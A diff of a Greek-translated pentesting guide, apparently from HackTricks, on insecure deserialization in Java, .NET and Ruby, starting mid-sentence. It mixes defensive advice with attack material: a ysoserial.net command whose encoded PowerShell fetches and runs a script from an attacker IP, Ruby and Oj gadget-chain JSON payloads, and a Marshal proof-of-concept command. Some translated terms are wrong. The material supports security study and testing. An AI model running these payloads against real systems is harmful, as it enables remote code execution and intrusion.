αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα: +Παρά αυτόν τον περιορισμό, είναι δυνατή η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα: ```javascript funcster = require("funcster") //Serialization @@ -400,7 +403,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA ``` ### Έλεγχος αν είναι ευάλωτο -Αν θέλετε να **μάθετε πώς λειτουργεί μια εκμετάλλευση Java Deserialized** θα πρέπει να ρίξετε μια ματιά στα [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), και [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). +Αν θέλετε να **μάθετε πώς λειτουργεί μια εκμετάλλευση Java Deserialized** θα πρέπει να ρίξετε μια ματιά σε [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), και [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). #### Δοκιμή White Box @@ -411,7 +414,7 @@ grep -R InvokeTransformer . ``` Μπορείτε να προσπαθήσετε να **ελέγξετε όλες τις βιβλιοθήκες** που είναι γνωστό ότι είναι ευάλωτες και που [**Ysoserial**](https://github.com/frohoff/ysoserial) μπορεί να παρέχει μια εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που υποδεικνύονται στο [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ Μπορείτε επίσης να χρησιμοποιήσετε [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) για να αναζητήσετε πιθανές αλυσίδες gadget που μπορούν να εκμεταλλευτούν.\ -Όταν εκτελείτε το **gadgetinspector** (μετά την κατασκευή του) μην ανησυχείτε για τους τόνους προειδοποιήσεων/σφαλμάτων που περνάει και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα κάτω από το _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Παρακαλώ, σημειώστε ότι **το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να υποδείξει ψευδώς θετικά αποτελέσματα**. +Όταν εκτελείτε το **gadgetinspector** (μετά την κατασκευή του) μην ανησυχείτε για τους τόνους προειδοποιήσεων/σφαλμάτων που περνάει και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα κάτω από _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Παρακαλώ, σημειώστε ότι **το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να υποδείξει ψευδώς θετικά αποτελέσματα**. #### Black Box Test @@ -429,7 +432,7 @@ grep -R InvokeTransformer . **Serialization Test** Δεν είναι όλα σχετικά με το αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο σειριακό αντικείμενο και να παρακάμψετε κάποιους ελέγχους** (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια εφαρμογή ιστού).\ -Αν βρείτε ένα java σειριακό αντικείμενο που αποστέλλεται σε μια εφαρμογή ιστού, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε με πιο αναγνώσιμο τρόπο το σειριακό αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους. +Αν βρείτε ένα java σειριακό αντικείμενο που αποστέλλεται σε μια εφαρμογή ιστού, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε με πιο ανθρώπινα αναγνώσιμη μορφή το σειριακό αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους. ### **Exploit** @@ -547,7 +550,7 @@ mvn clean package -DskipTests - **HTTP requests**: Η serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ. - **RMI (Remote Method Invocation)**: Το πρωτόκολλο Java RMI, το οποίο βασίζεται εξ ολοκλήρου στη serialization, είναι θεμέλιο για την απομακρυσμένη επικοινωνία σε εφαρμογές Java. -- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java που βασίζονται σε thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων. +- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java-based thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων. - **JMX (Java Management Extensions)**: Το JMX χρησιμοποιεί serialization για τη μετάδοση αντικειμένων μέσω του δικτύου. - **Custom Protocols**: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ακατέργαστων αντικειμένων Java, κάτι που θα αποδειχθεί σε επερχόμενα παραδείγματα εκμετάλλευσης. @@ -577,7 +580,7 @@ throw new java.io.IOException("Cannot be deserialized"); - Ο κώδικας αποσυμπίεσης είναι υπό τον έλεγχό σας. - Οι κλάσεις που αναμένονται για αποσυμπίεση είναι γνωστές. -Επαναφέρετε τη μέθοδο **`resolveClass()`** για να περιορίσετε την αποσυμπίεση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυμπίεση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυμπίεση μόνο στην κλάση `Bicycle`: +Επικαλύψτε τη μέθοδο **`resolveClass()`** για να περιορίσετε την αποσυμπίεση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυμπίεση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυμπίεση μόνο στην κλάση `Bicycle`: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -620,7 +623,7 @@ return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` -**Εκμετάλλευση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως οι **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυμπίεσης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυμπίεση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης. +**Εκμετάλλευση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυμπίεσης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυμπίεση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης. - **NotSoSerial** παρεμβαίνει στις διαδικασίες αποσυμπίεσης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα. - **jdeserialize** επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυμπιέσει, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου. @@ -654,7 +657,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### Προϊόντα -Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για να στέλνουν μηνύματα: +Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για να στείλουν μηνύματα: ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>) @@ -662,12 +665,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### Εκμετάλλευση -Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά προνόμια** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που θα σειριοποιηθούν και θα αποσυμπιεστούν από τον καταναλωτή/συνδρομητή**.\ +Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά δικαιώματα** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυμπιεστούν από τον καταναλωτή/συνδρομητή**.\ Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι **πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**. Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυμπιέζει ανασφαλώς την είσοδο του χρήστη) πρέπει ακόμα να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια. -Το εργαλείο [JMET](https://github.com/matthiaskaiser/jmet) δημιουργήθηκε για να **συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας αρκετά κακόβουλα αντικείμενα σειριοποιημένα χρησιμοποιώντας γνωστά gadgets**. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία είναι ακόμα ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets είναι μέσα στην ευάλωτη εφαρμογή. +Το εργαλείο [JMET](https://github.com/matthiaskaiser/jmet) δημιουργήθηκε για να **συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας αρκετά κακόβουλα αντικείμενα που έχουν σειριοποιηθεί χρησιμοποιώντας γνωστά gadgets**. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία είναι ακόμα ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets είναι μέσα στην ευάλωτη εφαρμογή. ### Αναφορές @@ -693,7 +696,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md #### BlackBox -Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυμπίεση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυμπιεστεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές **JSON** ή **XML** που περιλαμβάνουν `TypeObject` ή `$type`. +Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυμπίεση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυμπιεστεί. Αυτό μπορεί να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές **JSON** ή **XML** που περιλαμβάνουν `TypeObject` ή `$type`. ### ysoserial.net @@ -733,7 +736,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσουμε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\ -Αν υποδείξετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\ +Αν δηλώσετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\ Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -760,36 +763,36 @@ return obj; } ``` Στον **προηγούμενο κώδικα υπάρχει ευπάθεια στην εκμετάλλευση που δημιουργήθηκε**. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανώς αυτή η εφαρμογή είναι επίσης ευάλωτη.\ -Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσυμπίεσης που μπορεί να δημιουργήσει το **ysoserial.net**. +Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσειριοποίησης που μπορεί να δημιουργήσει το **ysoserial.net**. ### ViewState -Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για **να εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.** +Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για να **εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.** ### Prevention -Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσυμπίεση σε .Net: +Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσειριοποίηση στο .Net: -- **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να καθορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν. +- **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν. - **Για το `JSON.Net`, ορίστε το `TypeNameHandling` σε `None`:** `TypeNameHandling = TypeNameHandling.None` - **Αποφύγετε τη χρήση του `JavaScriptSerializer` με έναν `JavaScriptTypeResolver`.** -- **Περιορίστε τους τύπους που μπορούν να αποσυμπιεστούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας. +- **Περιορίστε τους τύπους που μπορούν να αποσειριοποιηθούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας. - **Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες**, όπως το `System.ComponentModel.DataAnnotations.ValidationException` με την ιδιότητα `Value`, η οποία μπορεί να εκμεταλλευτεί. -- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσυμπίεσης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα. +- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσειριοποίησης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα. - **Εφαρμόστε ελέγχους λευκής λίστας** χρησιμοποιώντας έναν προσαρμοσμένο `SerializationBinder` για το `BinaryFormatter` και το `JSON.Net`. -- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή εργαλεία αποσυμπίεσης** εντός του .Net και διασφαλίστε ότι οι αποσυμπιεστές δεν δημιουργούν τέτοιους τύπους. -- **Απομονώστε τον ενδεχομένως επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών εργαλείων, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων. +- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή gadgets αποσειριοποίησης** εντός του .Net και διασφαλίστε ότι οι αποσειριοποιητές δεν δημιουργούν τέτοιους τύπους. +- **Απομονώστε τον δυνητικά επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών gadgets, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων. ### **References** -- Έγγραφο σχετικά με την αποσυμπίεση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Έγγραφο σχετικά με την αποσειριοποίηση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** -Στη Ruby, η αποθήκευση είναι δυνατή μέσω δύο μεθόδων μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποθήκευση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσυμπίεση. +Στη Ruby, η αποσειριοποίηση διευκολύνεται από δύο μεθόδους μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποσειριοποίηση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσειριοποίηση. Για την ασφάλεια των αποθηκευμένων αντικειμένων, **η Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code)**, διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες: @@ -798,7 +801,7 @@ return obj; - `config/secrets.yml` - `/proc/self/environ` -**Γενική αποσυμπίεση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: +**Γενική αποσειριοποίηση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: ```ruby #!/usr/bin/env ruby @@ -914,7 +917,7 @@ candidate_methods.length() # Final number of methods=> 3595 ### Other libraries -Αυτή η τεχνική ελήφθη[ **από αυτήν την ανάρτηση ιστολογίου**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Αυτή η τεχνική ελήφθη [**από αυτήν την ανάρτηση ιστολογίου**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). Υπάρχουν άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για την σειριοποίηση αντικειμένων και επομένως θα μπορούσαν να καταχραστούν για να αποκτήσουν RCE κατά τη διάρκεια μιας ανασφαλούς αποσειριοποίησης. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλούν από τη φορτωμένη βιβλιοθήκη όποτε αποσειριοποιούνται (λειτουργία για κατάχρηση για να αποκτήσετε RCE βασικά): @@ -942,7 +945,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -Στην περίπτωση που προσπαθήσουμε να εκμεταλλευτούμε το Oj, ήταν δυνατό να βρούμε μια κλάση gadget που μέσα στη συνάρτηση `hash` της θα καλέσει το `to_s`, το οποίο θα καλέσει το spec, το οποίο θα καλέσει το fetch_path, το οποίο ήταν δυνατό να το κάνουμε να ανακτήσει μια τυχαία διεύθυνση URL, παρέχοντας έναν εξαιρετικό ανιχνευτή αυτού του είδους των μη απολυμασμένων ευπαθειών αποσυμπίεσης. +Στην περίπτωση που προσπαθήσαμε να εκμεταλλευτούμε το Oj, ήταν δυνατό να βρούμε μια κλάση gadget που μέσα στη συνάρτηση `hash` της θα καλούσε το `to_s`, το οποίο θα καλούσε το spec, το οποίο θα καλούσε το fetch_path, το οποίο ήταν δυνατό να το κάνουμε να ανακτήσει μια τυχαία διεύθυνση URL, παρέχοντας έναν εξαιρετικό ανιχνευτή αυτού του είδους των μη απολυμασμένων ευπαθειών αποσυμπίεσης. ```json { "^o": "URI::HTTP", @@ -954,7 +957,7 @@ Oj.load(json_payload) "password": "anypw" } ``` -Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την κατάχρηση ενός άλλου gadget προκειμένου να μετατραπεί αυτό σε μια πλήρη RCE με κάτι σαν: +Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την εκμετάλλευση μιας άλλης συσκευής προκειμένου να μετατραπεί αυτό σε μια πλήρη RCE με κάτι σαν: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -980,13 +983,13 @@ Check for more details in the [**original post**](https://github.blog/security/v ### Bootstrap Caching -Όχι πραγματικά μια ευπάθεια αποσυμπίεσης αλλά ένα ωραίο κόλπο για να εκμεταλλευτείτε την προσωρινή αποθήκευση bootstrap για να αποκτήσετε RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρείτε την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). +Όχι πραγματικά μια ευπάθεια αποσυμπίεσης αλλά ένα ωραίο κόλπο για να εκμεταλλευτείς την προσωρινή αποθήκευση bootstrap για να αποκτήσεις RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρες την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). Παρακάτω είναι μια σύντομη περίληψη των βημάτων που περιγράφονται στο άρθρο για την εκμετάλλευση μιας ευπάθειας τυχαίας εγγραφής αρχείου μέσω της εκμετάλλευσης της προσωρινής αποθήκευσης Bootsnap: - Identify the Vulnerability and Environment -Η λειτουργία μεταφόρτωσης αρχείων της εφαρμογής Rails επιτρέπει σε έναν επιτιθέμενο να γράφει αρχεία τυχαία. Αν και η εφαρμογή εκτελείται με περιορισμούς (μόνο ορισμένοι φάκελοι όπως το tmp είναι εγγράψιμοι λόγω του μη-διαχειριστή χρήστη του Docker), αυτό επιτρέπει ακόμα τη γραφή στον φάκελο προσωρινής αποθήκευσης Bootsnap (συνήθως κάτω από tmp/cache/bootsnap). +Η λειτουργία μεταφόρτωσης αρχείων της εφαρμογής Rails επιτρέπει σε έναν επιτιθέμενο να γράφει αρχεία τυχαία. Αν και η εφαρμογή εκτελείται με περιορισμούς (μόνο ορισμένοι φάκελοι όπως το tmp είναι εγγράψιμοι λόγω του μη-ριζικού χρήστη του Docker), αυτό επιτρέπει ακόμα τη γραφή στον φάκελο προσωρινής αποθήκευσης Bootsnap (συνήθως κάτω από tmp/cache/bootsnap). - Understand Bootsnap’s Cache Mechanism @@ -1015,7 +1018,7 @@ Check for more details in the [**original post**](https://github.blog/security/v ### Ruby Marshal exploitation in practice (updated) -Θεωρήστε οποιαδήποτε διαδρομή όπου μη αξιόπιστα bytes φτάνουν στο `Marshal.load`/`marshal_load` ως σημείο RCE. Το Marshal ανακατασκευάζει τυχαία γραφήματα αντικειμένων και ενεργοποιεί callbacks βιβλιοθηκών/gem κατά τη διάρκεια της υλοποίησης. +Θεωρήστε οποιαδήποτε διαδρομή όπου μη αξιόπιστα bytes φτάνουν στο `Marshal.load`/`marshal_load` ως RCE sink. Το Marshal ανακατασκευάζει τυχαία γραφήματα αντικειμένων και ενεργοποιεί callbacks βιβλιοθηκών/gem κατά τη διάρκεια της υλοποίησης. - Minimal vulnerable Rails code path: ```ruby @@ -1032,7 +1035,7 @@ end end ``` - Κοινές κατηγορίες gadget που παρατηρούνται σε πραγματικές αλυσίδες: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. -- Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά τη διάρκεια του unmarshal): +- Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά τη διάρκεια της αποσυσκευασίας): ``` *-TmTT="$(id>/tmp/marshal-poc)"any.zip ``` @@ -1042,9 +1045,9 @@ Where it surfaces in real apps: - Οποιαδήποτε προσαρμοσμένη επιμονή ή μεταφορά δυαδικών αντικειμένων Industrialized gadget discovery: -- Grep for constructors, `hash`, `_load`, `init_with`, ή side-effectful methods που καλούνται κατά τη διάρκεια 